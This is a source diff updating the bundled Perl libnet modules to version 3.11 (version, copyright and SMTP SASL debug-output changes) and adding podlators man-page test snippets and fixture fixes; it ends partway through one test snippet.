--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/dataconn.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/dataconn.pm
@@ -13,7 +13,7 @@ use Carp;
use Errno;
use Net::Cmd;
-our $VERSION = '3.08_01';
+our $VERSION = '3.11';
$Net::FTP::IOCLASS or die "please load Net::FTP before Net::FTP::dataconn";
our @ISA = $Net::FTP::IOCLASS;
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/NNTP.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/NNTP.pm
index 675b1e6a5c1..0c22930148a 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/NNTP.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/NNTP.pm
@@ -1,9 +1,7 @@
# Net::NNTP.pm
#
-# Versions up to 2.24_1 Copyright (c) 1995-1997 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.25 onwards Copyright (C) 2013-2015 Steve Hay. All rights
-# reserved.
+# Copyright (C) 1995-1997 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -21,7 +19,7 @@ use Net::Cmd;
use Net::Config;
use Time::Local;
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
# Code for detecting if we can use SSL
my $ssl_class = eval {
@@ -39,7 +37,7 @@ my $family_key = 'Domain';
my $inet6_class = eval {
require IO::Socket::IP;
no warnings 'numeric';
- IO::Socket::IP->VERSION(0.20) || die;
+ IO::Socket::IP->VERSION(0.25) || die;
$family_key = 'Family';
} && 'IO::Socket::IP' || eval {
require IO::Socket::INET6;
@@ -845,10 +843,10 @@ NNTP server, a value of zero will cause all IO operations to block.
B<Debug> - Enable the printing of debugging information to STDERR
B<Reader> - If the remote server is INN then initially the connection
-will be to nnrpd, by default C<Net::NNTP> will issue a C<MODE READER> command
-so that the remote server becomes innd. If the C<Reader> option is given
+will be to innd, by default C<Net::NNTP> will issue a C<MODE READER> command
+so that the remote server becomes nnrpd. If the C<Reader> option is given
with a value of zero, then this command will not be sent and the
-connection will be left talking to nnrpd.
+connection will be left talking to innd.
B<LocalAddr> and B<LocalPort> - These parameters are passed directly
to IO::Socket to allow binding the socket to a specific local address and port.
@@ -1284,16 +1282,18 @@ L<IO::Socket::SSL>
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 2.24_1 Copyright (c) 1995-1997 Graham Barr. All rights reserved.
-Changes in Version 2.25 onwards Copyright (C) 2013-2015 Steve Hay. All rights
-reserved.
+Copyright (C) 1995-1997 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2016 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Netrc.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Netrc.pm
index ba60ae6904e..46fba2787c3 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Netrc.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Netrc.pm
@@ -1,9 +1,7 @@
# Net::Netrc.pm
#
-# Versions up to 2.13 Copyright (c) 1995-1998 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.13_01 onwards Copyright (C) 2013-2014 Steve Hay. All
-# rights reserved.
+# Copyright (C) 1995-1998 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2014 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -18,7 +16,7 @@ use warnings;
use Carp;
use FileHandle;
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
our $TESTING;
@@ -324,10 +322,10 @@ Return a list of login, password and account information for the netrc entry
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 SEE ALSO
@@ -336,9 +334,11 @@ L<Net::Cmd>
=head1 COPYRIGHT
-Versions up to 2.13 Copyright (c) 1995-1998 Graham Barr. All rights reserved.
-Changes in Version 2.13_01 onwards Copyright (C) 2013-2014 Steve Hay. All
-rights reserved.
+Copyright (C) 1995-1998 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2014 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/POP3.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/POP3.pm
index ab8121e6581..0811025b0a2 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/POP3.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/POP3.pm
@@ -1,9 +1,7 @@
# Net::POP3.pm
#
-# Versions up to 2.29 Copyright (c) 1995-2004 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.29_01 onwards Copyright (C) 2013-2015 Steve Hay. All
-# rights reserved.
+# Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -20,7 +18,7 @@ use IO::Socket;
use Net::Cmd;
use Net::Config;
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
# Code for detecting if we can use SSL
my $ssl_class = eval {
@@ -38,7 +36,7 @@ my $family_key = 'Domain';
my $inet6_class = eval {
require IO::Socket::IP;
no warnings 'numeric';
- IO::Socket::IP->VERSION(0.20) || die;
+ IO::Socket::IP->VERSION(0.25) || die;
$family_key = 'Family';
} && 'IO::Socket::IP' || eval {
require IO::Socket::INET6;
@@ -845,16 +843,18 @@ L<IO::Socket::SSL>
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 2.29 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.29_01 onwards Copyright (C) 2013-2015 Steve Hay. All
-rights reserved.
+Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2016 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/SMTP.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/SMTP.pm
index 0130a2fd64b..5eaf4220b62 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/SMTP.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/SMTP.pm
@@ -1,9 +1,7 @@
# Net::SMTP.pm
#
-# Versions up to 2.31_1 Copyright (c) 1995-2004 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.31_2 onwards Copyright (C) 2013-2015 Steve Hay. All
-# rights reserved.
+# Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -21,7 +19,7 @@ use Net::Cmd;
use Net::Config;
use Socket;
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
# Code for detecting if we can use SSL
my $ssl_class = eval {
@@ -39,7 +37,7 @@ my $family_key = 'Domain';
my $inet6_class = eval {
require IO::Socket::IP;
no warnings 'numeric';
- IO::Socket::IP->VERSION(0.20) || die;
+ IO::Socket::IP->VERSION(0.25) || die;
$family_key = 'Family';
} && 'IO::Socket::IP' || eval {
require IO::Socket::INET6;
@@ -225,11 +223,15 @@ sub auth {
if defined $str and length $str;
while (($code = $self->command(@cmd)->response()) == CMD_MORE) {
+ my $str2 = MIME::Base64::decode_base64(($self->message)[0]);
+ $self->debug_print(0, "(decoded) " . $str2 . "\n") if $self->debug;
+
+ $str = $client->client_step($str2);
@cmd = (
- MIME::Base64::encode_base64(
- $client->client_step(MIME::Base64::decode_base64(($self->message)[0])), ''
- )
+ MIME::Base64::encode_base64($str, '')
);
+
+ $self->debug_print(1, "(decoded) " . $str . "\n") if $self->debug;
}
$code == CMD_OK;
@@ -1024,16 +1026,18 @@ L<IO::Socket::SSL>
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 2.31_1 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.31_2 onwards Copyright (C) 2013-2015 Steve Hay. All rights
-reserved.
+Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2016 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Time.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Time.pm
index 6118ad19d1a..d049408538f 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Time.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Time.pm
@@ -1,9 +1,7 @@
# Net::Time.pm
#
-# Versions up to 2.10 Copyright (c) 1995-2004 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.11 onwards Copyright (C) 2014 Steve Hay. All rights
-# reserved.
+# Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+# Copyright (C) 2014 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -24,7 +22,7 @@ use Net::Config;
our @ISA = qw(Exporter);
our @EXPORT_OK = qw(inet_time inet_daytime);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
our $TIMEOUT = 120;
@@ -146,16 +144,18 @@ C<udp>. The result will be an ASCII string or I<undef> upon failure.
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 2.11 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.11 onwards Copyright (C) 2014 Steve Hay. All rights
-reserved.
+Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+
+Copyright (C) 2014 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/libnetFAQ.pod b/gnu/usr.bin/perl/cpan/libnet/lib/Net/libnetFAQ.pod
index f8ad797f9e8..bcc53479ba9 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/libnetFAQ.pod
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/libnetFAQ.pod
@@ -20,11 +20,12 @@ CPAN Request Tracker at
=head1 Author and Copyright Information
-Copyright (c) 1997-1998 Graham Barr. All rights reserved.
+Copyright (C) 1997-1998 Graham Barr. All rights reserved.
This document is free; you can redistribute it and/or modify it
under the terms of the Artistic License.
-Currently maintained by Steve Hay <shay@cpan.org>.
+Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
+1.22_02.
=head2 Disclaimer
@@ -56,7 +57,7 @@ Authen::SASL is required for AUTH support.
IO::Socket::SSL version 2.007 or higher is required for SSL support.
-IO::Socket::IP version 0.20 or IO::Socket::INET6 version 2.62 is
+IO::Socket::IP version 0.25 or IO::Socket::INET6 version 2.62 is
required for IPv6 support.
=head2 What machines support libnet ?
@@ -297,6 +298,4 @@ being sent or response being received.
=head1 AUTHOR AND COPYRIGHT
-Copyright (c) 1997 Graham Barr.
-All rights reserved.
-
+Copyright (C) 1997-1998 Graham Barr. All rights reserved.
diff --git a/gnu/usr.bin/perl/cpan/libnet/t/nntp_ipv6.t b/gnu/usr.bin/perl/cpan/libnet/t/nntp_ipv6.t
index 199261828e0..768489a1afd 100644
--- a/gnu/usr.bin/perl/cpan/libnet/t/nntp_ipv6.t
+++ b/gnu/usr.bin/perl/cpan/libnet/t/nntp_ipv6.t
@@ -63,4 +63,5 @@ sub nntp_server {
}
}
note("NNTP dialog done");
+ return 0;
}
diff --git a/gnu/usr.bin/perl/cpan/libnet/t/pop3_ipv6.t b/gnu/usr.bin/perl/cpan/libnet/t/pop3_ipv6.t
index 1c88c1a0ca7..db311283e06 100644
--- a/gnu/usr.bin/perl/cpan/libnet/t/pop3_ipv6.t
+++ b/gnu/usr.bin/perl/cpan/libnet/t/pop3_ipv6.t
@@ -63,4 +63,5 @@ sub pop3_server {
}
note("POP3 dialog done");
+ return 0;
}
diff --git a/gnu/usr.bin/perl/cpan/libnet/t/smtp_ipv6.t b/gnu/usr.bin/perl/cpan/libnet/t/smtp_ipv6.t
index a31b6ff48c9..f430721dcc2 100644
--- a/gnu/usr.bin/perl/cpan/libnet/t/smtp_ipv6.t
+++ b/gnu/usr.bin/perl/cpan/libnet/t/smtp_ipv6.t
@@ -65,4 +65,5 @@ sub smtp_server {
}
note("SMTP dialog done");
+ return 0;
}
diff --git a/gnu/usr.bin/perl/cpan/parent/t/rt62341.t.disabled b/gnu/usr.bin/perl/cpan/parent/t/rt62341.t.disabled
new file mode 100644
index 00000000000..c3481937a4c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/parent/t/rt62341.t.disabled
@@ -0,0 +1,101 @@
+#!perl -w
+use strict;
+use Benchmark qw/cmpthese/;
+use Test::More tests => 1;
+
+{
+ package Bench::Base;
+ sub foo { 1 };
+}
+
+my $c;
+my $sub_iter = 100;
+
+cmpthese (-1 => {
+ recompute_existing_ISA => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}";
+ no strict 'refs';
+ @{ "$class\::ISA"} = (@{ "$class\::ISA"},'Bench::Base');
+ die unless $class->foo;
+ }
+ },
+ recompute_new_ISA => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}::SubSub${_}";
+ no strict 'refs';
+ @{ "$class\::ISA"} = (@{ "$class\::ISA"},'Bench::Base');
+ die unless $class->foo;
+ }
+ },
+ push_existing_ISA => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}";
+ no strict 'refs';
+ push @{ "$class\::ISA"}, 'Bench::Base';
+ die unless $class->foo;
+ }
+ },
+ push_new_ISA => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}::SubSub${_}";
+ no strict 'refs';
+ push @{ "$class\::ISA"}, 'Bench::Base';
+ die unless $class->foo;
+ }
+ },
+ push_new_FOO => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}::SubSub${_}";
+ no strict 'refs';
+ push @{ "$class\::FOO"}, 'Bench::Base';
+ #die unless $class->foo;
+ }
+ },
+ push_existing_FOO => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}";
+ no strict 'refs';
+ push @{ "$class\::FOO"}, 'Bench::Base';
+ #die unless $class->foo;
+ }
+ },
+ recompute_existing_FOO => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}";
+ no strict 'refs';
+ @{ "$class\::FOO"} = (@{ "$class\::FOO"}, 'Bench::Base');
+ #die unless $class->foo;
+ }
+ },
+
+ # Take a reference and manipulate that, in case string references are slow
+ refcompute_existing_FOO => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}";
+ no strict 'refs';
+ my $aref = \@{ "$class\::FOO"};
+ @{ $aref } = (@{ $aref }, 'Bench::Base');
+ #die unless $class->foo;
+ }
+ },
+ recompute_new_FOO => sub {
+ $c++;
+ for (1..$sub_iter) {
+ my $class = "Bench::Par::Sub_${c}::SubSub${_}";
+ no strict 'refs';
+ @{ "$class\::FOO"} = (@{ "$class\::FOO"}, 'Bench::Base');
+ #die unless $class->foo;
+ }
+ },
+});
+
+pass "Benchmarks run";
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.cap b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.cap
index 20fc1e561cc..d580ed89dcd 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.cap
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.cap
@@ -80,8 +80,6 @@
"Section "with" other markup" in foo|bar
- Nested <http://www.perl.org/>
-
OVER AND ITEMS
Taken from Pod::Parser tests, this is a test to ensure that multiline
=item paragraphs get indented appropriately.
@@ -174,12 +172,12 @@
Of course I should still be able to do all this with escape sequences too:
"$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
- Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+ Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
And make sure that 0 works too!
Now, if I use << or >> as my delimiters, then I have to use whitespace. So
- things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end up
+ things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end up
doing what you might expect since the first > will still terminate the
first < seen.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.clr b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.clr
index f98857187ab..f9591c87d69 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.clr
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.clr
@@ -80,8 +80,6 @@
"Section "with" other markup" in foo|bar
- Nested <http://www.perl.org/>
-
OVER AND ITEMS
Taken from Pod::Parser tests, this is a test to ensure that multiline
=item paragraphs get indented appropriately.
@@ -175,12 +173,12 @@
Of course I should still be able to do all this with escape sequences
too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
- Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+ Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
And make sure that 0 works too!
Now, if I use << or >> as my delimiters, then I have to use whitespace.
- So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end
+ So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end
up doing what you might expect since the first > will still terminate
the first < seen.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.man b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.man
index 43874b6e877..871bd923fd4 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.man
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.man
@@ -90,8 +90,6 @@ Testing \fIitalics\fR
"\fIItalic\fR text" in foo
.PP
"Section \f(CW\*(C`with\*(C'\fR \fI\f(BIother\fI markup\fR" in foo|bar
-.PP
-Nested <http://www.perl.org/>
.SH "OVER AND ITEMS"
.IX Header "OVER AND ITEMS"
Taken from Pod::Parser tests, this is a test to ensure that multiline
@@ -218,12 +216,12 @@ Of course I should still be able to do all this \fIwith\fR escape sequences
too: \f(CW\*(C`$self\->method()\*(C'\fR and \f(CW\*(C`$self\->{FIELDNAME}\*(C'\fR and
\&\f(CW\*(C`{FOO=>BAR}\*(C'\fR.
.PP
-Dont forget \f(CW\*(C`$self\->method()\->{FIELDNAME} = {FOO=>BAR}\*(C'\fR.
+Don't forget \f(CW\*(C`$self\->method()\->{FIELDNAME} = {FOO=>BAR}\*(C'\fR.
.PP
And make sure that \f(CW0\fR works too!
.PP
Now, if I use << or >> as my delimiters, then I have to use whitespace.
-So things like \f(CW\*(C`<$self\-\*(C'\fR\fImethod()\fR>> and \f(CW\*(C`<$self\-\*(C'\fR{\s-1FIELDNAME\s0}>> wont end
+So things like \f(CW\*(C`<$self\-\*(C'\fR\fBmethod()\fR>> and \f(CW\*(C`<$self\-\*(C'\fR{\s-1FIELDNAME\s0}>> won't end
up doing what you might expect since the first > will still terminate
the first < seen.
.PP
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.ovr b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.ovr
index bb124a0bd44..14a116946a6 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.ovr
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.ovr
@@ -80,8 +80,6 @@ LLIINNKKSS
"Section "with" _o_t_h_e_r_ _m_a_r_k_u_p" in foo|bar
- Nested <http://www.perl.org/>
-
OOVVEERR  AANNDD  IITTEEMMSS
Taken from Pod::Parser tests, this is a test to ensure that multiline
=item paragraphs get indented appropriately.
@@ -175,12 +173,12 @@ FFOORRMMAATTTTIINNGG  CCOODDEESS
Of course I should still be able to do all this _w_i_t_h escape sequences
too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
- Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+ Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
And make sure that 0 works too!
Now, if I use << or >> as my delimiters, then I have to use whitespace.
- So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end
+ So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end
up doing what you might expect since the first > will still terminate
the first < seen.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.pod b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.pod
index 949b3a88869..3c784e6fcb2 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.pod
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.pod
@@ -93,8 +93,6 @@ L<foo/I<Italic> text>
L<fooE<verbar>barZ<>/Section C<with> I<B<other> markup>>
-L<Nested L<http://www.perl.org/>|fooE<sol>bar>
-
=head1 OVER AND ITEMS
Taken from Pod::Parser tests, this is a test to ensure that multiline
@@ -270,12 +268,12 @@ Of course I should still be able to do all this I<with> escape sequences
too: C<$self-E<gt>method()> and C<$self-E<gt>{FIELDNAME}> and
C<{FOO=E<gt>BAR}>.
-Dont forget C<$self-E<gt>method()-E<gt>{FIELDNAME} = {FOO=E<gt>BAR}>.
+Don't forget C<$self-E<gt>method()-E<gt>{FIELDNAME} = {FOO=E<gt>BAR}>.
And make sure that C<0> works too!
Now, if I use << or >> as my delimiters, then I have to use whitespace.
-So things like C<<$self->method()>> and C<<$self->{FIELDNAME}>> wont end
+So things like C<<$self->method()>> and C<<$self->{FIELDNAME}>> won't end
up doing what you might expect since the first > will still terminate
the first < seen.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.txt b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.txt
index 986e98a1cd2..f0f8ba216df 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/data/basic.txt
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/basic.txt
@@ -80,8 +80,6 @@ LINKS
"Section "with" *other markup*" in foo|bar
- Nested <http://www.perl.org/>
-
OVER AND ITEMS
Taken from Pod::Parser tests, this is a test to ensure that multiline
=item paragraphs get indented appropriately.
@@ -175,12 +173,12 @@ FORMATTING CODES
Of course I should still be able to do all this *with* escape sequences
too: "$self->method()" and "$self->{FIELDNAME}" and "{FOO=>BAR}".
- Dont forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
+ Don't forget "$self->method()->{FIELDNAME} = {FOO=>BAR}".
And make sure that 0 works too!
Now, if I use << or >> as my delimiters, then I have to use whitespace.
- So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> wont end
+ So things like "<$self-"method()>> and "<$self-"{FIELDNAME}>> won't end
up doing what you might expect since the first > will still terminate
the first < seen.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/agrave b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/agrave
new file mode 100644
index 00000000000..c1ec02655ae
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/agrave
@@ -0,0 +1,12 @@
+[name]
+E<agrave>
+
+[input]
+=head1 agrave
+
+Open E<agrave> la shell. Previous versions mapped it wrong.
+
+[output]
+.SH "agrave"
+.IX Header "agrave"
+Open a\*` la shell. Previous versions mapped it wrong.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/backslash-man-ref b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/backslash-man-ref
new file mode 100644
index 00000000000..72463ce1a83
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/backslash-man-ref
@@ -0,0 +1,10 @@
+[name]
+Backlash man page reference
+
+[input]
+=pod
+
+Not a man page reference: \s0(1)
+
+[output]
+Not a man page reference: \es0(1)
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullet-after-nonbullet b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullet-after-nonbullet
new file mode 100644
index 00000000000..f98302add6d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullet-after-nonbullet
@@ -0,0 +1,25 @@
+[name]
+Handling of bullet after non-bullet
+
+[options]
+errors none
+
+[input]
+=over 4
+
+=item foo
+
+Not a bullet.
+
+=item *
+
+Also not a bullet.
+
+=back
+
+[output]
+.IP "foo" 4
+.IX Item "foo"
+Not a bullet.
+.IP "*" 4
+Also not a bullet.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullets b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullets
new file mode 100644
index 00000000000..8cab7e9e521
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullets
@@ -0,0 +1,25 @@
+[name]
+Bullet handling
+
+[input]
+=over 4
+
+=item *
+
+A bullet.
+
+=item *
+
+Another bullet.
+
+=item * Also a bullet.
+
+=back
+
+[output]
+.IP "\(bu" 4
+A bullet.
+.IP "\(bu" 4
+Another bullet.
+.IP "\(bu" 4
+Also a bullet.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-header b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-header
new file mode 100644
index 00000000000..068363c01b3
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-header
@@ -0,0 +1,10 @@
+[name]
+C<> in headers
+
+[input]
+=head1 C<one> and C<two>
+
+[output]
+.ie n .SH """one"" and ""two"""
+.el .SH "\f(CWone\fP and \f(CWtwo\fP"
+.IX Header "one and two"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-name b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-name
new file mode 100644
index 00000000000..e17952d0d5a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-name
@@ -0,0 +1,11 @@
+[name]
+C<> in NAME
+
+[input]
+=head1 NAME
+
+test - C<test>
+
+[output]
+.SH "NAME"
+test \- "test"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/dollar-magic b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/dollar-magic
new file mode 100644
index 00000000000..26347329713
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/dollar-magic
@@ -0,0 +1,24 @@
+[name]
+Magic for dollar strings
+
+[input]
+=head1 MAGIC MONEY
+
+These should be identical.
+
+Bippity boppity boo "The
+price is $Z<>100."
+
+Bippity boppity boo "The
+price is $100."
+
+[output]
+.SH "MAGIC MONEY"
+.IX Header "MAGIC MONEY"
+These should be identical.
+.PP
+Bippity boppity boo \*(L"The
+price is \f(CW$100\fR.\*(R"
+.PP
+Bippity boppity boo \*(L"The
+price is \f(CW$100\fR.\*(R"
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-die b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-die
new file mode 100644
index 00000000000..48b9cac7950
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-die
@@ -0,0 +1,27 @@
+[name]
+Errors throw exceptions
+
+[options]
+errors die
+
+[input]
+=over 4
+
+=item Foo
+
+Bar.
+
+=head1 NEXT
+
+[output]
+.IP "Foo" 4
+.IX Item "Foo"
+Bar.
+.SH "NEXT"
+.IX Header "NEXT"
+
+[errors]
+Pod input around line 7: You forgot a '=back' before '=head1'
+
+[exception]
